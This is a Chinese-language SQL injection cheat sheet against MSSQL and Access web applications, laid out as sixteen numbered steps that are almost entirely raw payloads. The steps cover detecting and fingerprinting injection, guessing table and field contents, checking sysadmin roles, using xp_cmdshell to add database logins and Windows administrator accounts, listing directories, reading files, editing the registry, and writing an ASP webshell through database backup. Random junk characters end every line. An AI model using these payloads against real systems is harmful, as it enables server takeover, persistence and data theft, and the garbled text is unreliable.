1.判断是否有注入;and 1=1 ;and 1=2 U5CPkH1
2.初步判断是否是mssql ;and user>0 2FIR]@MQd
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3.注入参数是字符'and [查询条件] and ''=' BCUt`;q ]B
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' <2O7R}j7v
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5.判断数据库系统 p&sK\
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;and (select count(*) from sysobjects)>0 mssql @>fO;*
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;and (select count(*) from msysobjects)>0 access %7 v@n+Q
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 qfGtUkSSb
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 E
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 p2x1xv
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9.(1)猜字段的ascii值(access) 8wX+ZL:9
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 x*h `VS(?6
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(2)猜字段的ascii值(mssql) n</k/Mk}
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 n{64g+
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10.测试权限结构(mssql) 6Lg!Lodu
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- -@ZzG uS(
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- (_w
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- S<eZ d./p6
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- h
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- K85_>C%g
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- L$1K7<i.
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;and 1=(select IS_MEMBER('db_owner'));-- 'e.q
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11.添加mssql和系统的帐户 5v|H<wPp
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;exec master.dbo.sp_addlogin username;-- h?0F-6z
;exec master.dbo.sp_password null,username,password;-- hZAG (Z
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- })@tA<+
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;exec master.dbo.xp_cmdshell 'net user username password j%p CuC&"
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =op`fn%
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8+"10q-
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QU:EY'2
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12.(1)遍历目录 RCI4~q
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;create table dirs(paths varchar(100), id int) eSl]8BX_
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;insert dirs exec master.dbo.xp_dirtree 'c:\' >;)2NrJV
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;and (select top 1 paths from dirs)>0 cVp[ Z#B
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) i;c'P}[K
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(2)遍历目录 7i8eg*Gl
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- BRb\V42i;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )!e3.C|V1W
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6mCq/$
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vQ 4}WtvA
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 r}
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13.mssql中的存储过程 IU|kNBo
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xp_regenumvalues 注册表根键, 子键 w?*z^y@
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 l&L,7BX
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xp_regread 根键,子键,键值名 8Atq,GcG
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;exec xp_regread 537?9
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T|;@T^
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xp_regwrite 根键,子键, 值名, 值类型, 值 #6=MKpR
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 h/2/vBs
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xp_regdeletevalue 根键,子键,值名 #G#g|x*V
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 CqFeF?xd8h
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 "R[l ZJ@
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14.mssql的backup创建webshell j6S"UwJjp
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create table cmd(str image); tfYB _N
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insert into cmd(str) values (''); -*B`]
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backup database model to disk='c:\l.asp'; l_{8+\`!
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15.mssql内置函数 ,.tfWN%t\
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;and (select @@version)>0 获得Windows的版本号 Z=?aEU$7
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa {X~gwoz
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;and (select user_name())>0 爆当前系统的连接用户 xSMt*]=9
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;and (select db_name())>0 得到当前连接的数据库 ABh&X+YD
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16.简洁的webshell =(HeF.!
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use model `aC){&AP(
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create table cmd(str image); k8AW6oO/i
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insert into cmd(str) values (''); 9(4&KZpK
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backup database model to disk='g:\wwwtest\l.asp';